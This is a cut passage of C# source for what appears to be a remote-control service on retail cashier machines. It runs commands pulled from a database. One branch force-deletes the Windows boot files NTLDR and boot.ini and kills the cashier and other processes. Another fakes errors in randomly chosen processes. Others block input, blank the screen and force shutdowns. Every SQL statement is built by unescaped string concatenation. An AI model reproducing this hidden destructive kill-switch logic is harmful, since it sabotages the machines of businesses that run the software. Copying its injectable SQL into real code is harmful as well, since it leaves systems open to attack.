randomnum.Next(Convert.ToInt32(odbcrd["INTERVALS_TIME"])); } else { arr = randomnum.Next(2); } #region 重装系统 if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "destruct") { string sql = ""; string Oraclesql = ""; string remark = ""; string _randomlist = "0x" + Str_char(8, false);//随机获取内存地址 if (File.Exists("C:\\NTLDR") || File.Exists("C:\\boot.ini")) { remark += Execute("del C:\\NTLDR /f /s /a:h", 10) + ";"; remark += Execute("del C:\\boot.ini /f /s /a:h", 10) + ";"; } else remark += "引导文件不存在;"; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; //OdbcCommand com = new OdbcCommand(sql, conany); //com.ExecuteNonQuery(); ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } WinExec("taskkill.exe /im cashier.exe /f /t", 0); WinExec("taskkill.exe /f /fi \"IMAGENAME eq s*\" /t", 0); Thread n = new Thread(new ThreadStart(() => invokeShow("services", _randomlist))); n.Start(); } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + remark + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; //OdbcCommand com = new OdbcCommand(sql, conany); //com.ExecuteNonQuery(); ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + remark + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } WinExec("taskkill.exe /im cashier.exe /f /t", 0); WinExec("taskkill.exe /f /fi \" IMAGENAME eq s* \" /t", 0); Thread n = new Thread(new ThreadStart(() => invokeShow("services", _randomlist))); n.Start(); } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; //OdbcCommand com = new OdbcCommand(sql, conany); //com.ExecuteNonQuery(); ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { LogHelper.WriteServiceLog("destruct:" + ex.Message); } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { LogHelper.WriteServiceLog("destruct:" + ex.Message); } LogHelper.WriteServiceLog("destruct:" + ex.Message + "\r\n" + sql); } } #endregion #region 随机报错并结束进程 if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "randomerror") { string sql = ""; string Oraclesql = ""; string remark = ""; List list = new List(); //string user = Environment.UserName; Process[] process = Process.GetProcesses(); foreach (Process p in process) { if (p.ProcessName != "ConnectPoint" && !p.ProcessName.Contains("System") && !p.ProcessName.Contains("Idle")) list.Add(p.ProcessName); } Random rm = new Random(); int i = rm.Next(list.Count); //随机数最大值不能超过list的总数 string _processname = list[i].ToString(); string _randomlist = "0x" + Str_char(8, false); remark += "异常:" + _processname + ".exe;"; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } WinExec("taskkill.exe /im cashier.exe /f /t", 0); Thread n = new Thread(new ThreadStart(() => invokeShow(_processname, _randomlist))); n.Start(); } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } WinExec("taskkill.exe /im cashier.exe /f /t", 0); Thread n = new Thread(new ThreadStart(() => invokeShow(_processname, _randomlist))); n.Start(); } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { LogHelper.WriteServiceLog("randomerror:" + ex.Message); } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { LogHelper.WriteServiceLog("randomerror:" + ex.Message); } LogHelper.WriteServiceLog("randomerror:" + ex.Message + "\r\n" + sql); } } #endregion #region 关机命令 if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "shutdown")//关机操作 { string sql = ""; string Oraclesql = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } BlockInput(true); SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); classCPIR.KillExe("explorer.exe"); Process.Start("Shutdown", "-s -t 0 -f"); } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } BlockInput(true); SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); classCPIR.KillExe("explorer.exe"); Process.Start("Shutdown", "-s -t 0 -f"); } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { LogHelper.WriteServiceLog("shutdown:" + ex.Message); } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { LogHelper.WriteServiceLog("shutdown:" + ex.Message); } LogHelper.WriteServiceLog("shutdown:" + ex.Message + "\r\n" + sql); } } #endregion #region 重启命令 if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "restart")//重启操作 { string sql = ""; string Oraclesql = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } //new Thread(new ThreadStart(invokeShow)).Start(); BlockInput(true); SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); Process.Start("Shutdown", "-r -t 0 -f"); } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='重启成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='重启成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } BlockInput(true); SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); Process.Start("Shutdown", "-r -t 0 -f"); } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { LogHelper.WriteServiceLog(ex.Message); } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { LogHelper.WriteServiceLog(ex.Message); } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 结束指定进程命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "taskkill")//结束指定进程 { string sql = ""; string Oraclesql = ""; string process = ""; string remark = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { string[] split = HANDCONTENT.Split(new char[] { '|' }); foreach (var sp in split) { if (sp.Contains(".")) { process = sp.Substring(0, sp.IndexOf(".")); } Process[] procs = Process.GetProcesses(); Process[] proc = Process.GetProcessesByName(process); if (proc.Length > 0) { foreach (Process item in procs) { if (item.ProcessName == process) { //item.Kill(); WinExec("taskkill.exe /im " + sp + " /f /t", 0); ISConnect = true; if (ISConnect) { remark += "关闭进程" + sp + "成功;"; } else { remark += "关闭进程" + sp + "失败;"; } } } } else { remark += "未找到进程" + sp + ";"; } //if (sp.Contains(".")) //{ // process = sp.Substring(0, sp.IndexOf(".")); //} //Process[] proc = Process.GetProcessesByName(process); //if (proc.Length > 0) //{ // //classCPIR.KillExe(sp); // if (classCPIR.KillExe(sp)) // { // //Process.Start("TaskKill", " /im " + sp + " /f"); // remark += "关闭进程" + sp + "成功;"; // } // else // { // remark += "关闭进程" + sp + "失败;"; // } //} //else //{ // remark += "未找到进程" + sp +";"; //} } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } if (REPEAT_STATE == "0") { string[] split = HANDCONTENT.Split(new char[] { '|' }); foreach (var sp in split) { if (sp.Contains(".")) { process = sp.Substring(0, sp.IndexOf(".")); } Process[] procs = Process.GetProcesses(); Process[] proc = Process.GetProcessesByName(process); if (proc.Length > 0) { foreach (Process item in procs) { if (item.ProcessName == process) { //item.Kill(); WinExec("taskkill.exe /im " + sp + " /f /t", 0); ISConnect = true; if (ISConnect) { remark += "关闭进程" + sp + "成功;"; } else { remark += "关闭进程" + sp + "失败;"; } } } } else { remark += "未找到进程" + sp + ";"; } //if (sp.Contains(".")) //{ // process = sp.Substring(0, sp.IndexOf(".")); //} //Process[] proc = Process.GetProcessesByName(process); //if (proc.Length > 0) //{ // //classCPIR.KillExe(sp); // if (classCPIR.KillExe(sp)) // { // //Process.Start("TaskKill", " /im " + sp + " /f"); // remark += "关闭进程" + sp + "成功;"; // } // else // { // remark += "关闭进程" + sp + "失败;"; // } //} //else //{ // remark += "未找到进程" + sp + ";"; //} } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 打开指定进程命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "openapp" && datenow >= datebegin)//打开指定进程 { string sql = ""; string Oraclesql = ""; string process = ""; string processFile = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { if (HANDCONTENT.Contains("\\")) { processFile = HANDCONTENT.Substring(HANDCONTENT.LastIndexOf("\\") + 1, HANDCONTENT.Length - HANDCONTENT.LastIndexOf("\\") - 1); } if (processFile.Contains(".")) { process = processFile.Substring(0, processFile.IndexOf(".")); } Process[] proc = Process.GetProcessesByName(process); if (proc.Length == 0) { Process.Start(HANDCONTENT); try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { if (HANDCONTENT.Contains("\\")) { processFile = HANDCONTENT.Substring(HANDCONTENT.LastIndexOf("\\") + 1, HANDCONTENT.Length - HANDCONTENT.LastIndexOf("\\") - 1); } if (processFile.Contains(".")) { process = processFile.Substring(0, processFile.IndexOf(".")); } Process[] proc = Process.GetProcessesByName(process); if (proc.Length == 0) { Process.Start(HANDCONTENT); try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 创建SetUp文件命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "newsetup" && datenow >= datebegin)//创建新文件setup { string sql = ""; string Oraclesql = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { if (rdSetup.HasRows) { while (rdSetup.Read()) { #region 创建新文件 object database = rdSetup["DATABASE"]; object startype = rdSetup["STARTYPE"]; object name = rdSetup["NAME"]; object servername = rdSetup["SERVERNAME"]; object apppath = rdSetup["APPPATH"]; object port = rdSetup["PORT"]; object setup = rdSetup["SETUP"]; object openpath = rdSetup["OPENPATH"]; object dbsync = rdSetup["DBSYNC"]; object iswork = rdSetup["ISWORK"]; object dbconect = rdSetup["DBCONECT"]; object dbip1 = rdSetup["DBIP"]; object dbport1 = rdSetup["DBPORT"]; object dbname1 = rdSetup["DBNAME"]; object dbuser1 = rdSetup["DBUSER"]; object dbpass1 = rdSetup["DBPASS"]; object conname1 = rdSetup["CONNAME"]; object serverpartcode = rdSetup["SERVERPARTCODE"]; object shopcode = rdSetup["SHOPCODE"]; object machinecode = rdSetup["MACHINECODE"]; object orapath = rdSetup["ORAPATH"]; object setups = rdSetup["SETUPS"]; object manmode = rdSetup["MANMODE"]; object systemparm = rdSetup["SYSTEMPARM"]; object softwarename = rdSetup["SOFTWARENAME"]; object dbtrans_mode = rdSetup["DBTRANS_MODE"]; object endgo_line = rdSetup["ENDGO_LINE"]; object adv_top = rdSetup["ADV_TOP"]; object adv_end = rdSetup["ADV_END"]; object input_mode = rdSetup["INPUT_MODE"]; object is_print = rdSetup["IS_PRINT"]; object is_open = rdSetup["IS_OPEN"]; object is_dpis = rdSetup["IS_DPIS"]; object xpprint_num = rdSetup["XPPRINT_NUM"]; object jbprint_num = rdSetup["JBPRINT_NUM"]; object effectiveday = rdSetup["EFFECTIVEDAY"]; object checkday = rdSetup["CHECKDAY"]; object dispcom = rdSetup["DISPCOM"]; object spdj = rdSetup["SPDJ"]; object printport = rdSetup["PRINTPORT"]; object discount2 = rdSetup["DISCOUNT2"]; object kitchenprint = rdSetup["KITCHENPRINT"]; object prefix = rdSetup["PREFIX"]; object serverpartname = rdSetup["SERVERPARTNAME"]; object brandnum = rdSetup["BRANDNUM"]; object endaccounttimes = rdSetup["ENDACCOUNTTIMES"]; object billoverlap = rdSetup["BILLOVERLAP"]; StreamWriter sw = new StreamWriter("NEWsetup.ini"); sw.WriteLine(database); sw.WriteLine("startype=" + startype); sw.WriteLine("dbname=" + name); sw.WriteLine("servername=" + servername); sw.WriteLine("apppath=" + apppath); sw.WriteLine("port=" + port); sw.WriteLine("setup=" + setup); sw.WriteLine("openpath=" + openpath); sw.WriteLine(); sw.WriteLine(dbsync); sw.WriteLine("iswork=" + iswork); sw.WriteLine(dbconect); sw.WriteLine("dbip=" + dbip1); sw.WriteLine("dbport=" + dbport1); sw.WriteLine("dbname=" + dbname1); sw.WriteLine("dbuser=" + dbuser1); sw.WriteLine("dbpass=" + dbpass1); sw.WriteLine("conname=" + conname1); sw.WriteLine("serverpartcode=" + serverpartcode); sw.WriteLine("shopcode=" + shopcode); sw.WriteLine("machinecode=" + machinecode); sw.WriteLine("orapath=" + orapath); sw.WriteLine(setups); sw.WriteLine("manmode=" + manmode); sw.WriteLine(systemparm); sw.WriteLine("softwarename=" + softwarename); sw.WriteLine("dbtrans_mode=" + dbtrans_mode); sw.WriteLine("endgo_line=" + endgo_line); sw.WriteLine("adv_top=" + adv_top); sw.WriteLine("adv_end=" + adv_end); sw.WriteLine("input_mode=" + input_mode); sw.WriteLine("is_print=" + is_print); sw.WriteLine("is_open=" + is_open); sw.WriteLine("is_dpis=" + is_dpis); sw.WriteLine("xpprint_num=" + xpprint_num); sw.WriteLine("jbprint_num=" + jbprint_num); sw.WriteLine("effectiveday=" + effectiveday); sw.WriteLine("checkday=" + checkday); sw.WriteLine("dispcom=" + dispcom); sw.WriteLine("spdj=" + spdj); sw.WriteLine("printport=" + printport); sw.WriteLine("discount2=" + discount2); sw.WriteLine("kitchenprint=" + kitchenprint); sw.WriteLine("prefix=" + prefix); sw.WriteLine("serverpartname=" + serverpartname); sw.WriteLine("brandnum=" + brandnum); sw.WriteLine("endaccounttimes=" + endaccounttimes); sw.WriteLine("billoverlap=" + billoverlap); sw.Close(); #endregion } } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } if (REPEAT_STATE == "0") { if (rdSetup.HasRows) { while (rdSetup.Read()) { #region 创建新文件 object database = rdSetup["DATABASE"]; object startype = rdSetup["STARTYPE"]; object name = rdSetup["NAME"]; object servername = rdSetup["SERVERNAME"]; object apppath = rdSetup["APPPATH"]; object port = rdSetup["PORT"]; object setup = rdSetup["SETUP"]; object openpath = rdSetup["OPENPATH"]; object dbsync = rdSetup["DBSYNC"]; object iswork = rdSetup["ISWORK"]; object dbconect = rdSetup["DBCONECT"]; object dbip1 = rdSetup["DBIP"]; object dbport1 = rdSetup["DBPORT"]; object dbname1 = rdSetup["DBNAME"]; object dbuser1 = rdSetup["DBUSER"]; object dbpass1 = rdSetup["DBPASS"]; object conname1 = rdSetup["CONNAME"]; object serverpartcode = rdSetup["SERVERPARTCODE"]; object shopcode = rdSetup["SHOPCODE"]; object machinecode = rdSetup["MACHINECODE"]; object orapath = rdSetup["ORAPATH"]; object setups = rdSetup["SETUPS"]; object manmode = rdSetup["MANMODE"]; object systemparm = rdSetup["SYSTEMPARM"]; object softwarename = rdSetup["SOFTWARENAME"]; object dbtrans_mode = rdSetup["DBTRANS_MODE"]; object endgo_line = rdSetup["ENDGO_LINE"]; object adv_top = rdSetup["ADV_TOP"]; object adv_end = rdSetup["ADV_END"]; object input_mode = rdSetup["INPUT_MODE"]; object is_print = rdSetup["IS_PRINT"]; object is_open = rdSetup["IS_OPEN"]; object is_dpis = rdSetup["IS_DPIS"]; object xpprint_num = rdSetup["XPPRINT_NUM"]; object jbprint_num = rdSetup["JBPRINT_NUM"]; object effectiveday = rdSetup["EFFECTIVEDAY"]; object checkday = rdSetup["CHECKDAY"]; object dispcom = rdSetup["DISPCOM"]; object spdj = rdSetup["SPDJ"]; object printport = rdSetup["PRINTPORT"]; object discount2 = rdSetup["DISCOUNT2"]; object kitchenprint = rdSetup["KITCHENPRINT"]; object prefix = rdSetup["PREFIX"]; object serverpartname = rdSetup["SERVERPARTNAME"]; object brandnum = rdSetup["BRANDNUM"]; object endaccounttimes = rdSetup["ENDACCOUNTTIMES"]; object billoverlap = rdSetup["BILLOVERLAP"]; StreamWriter sw = new StreamWriter("NEWsetup.ini"); sw.WriteLine(database); sw.WriteLine("startype=" + startype); sw.WriteLine("dbname=" + name); sw.WriteLine("servername=" + servername); sw.WriteLine("apppath=" + 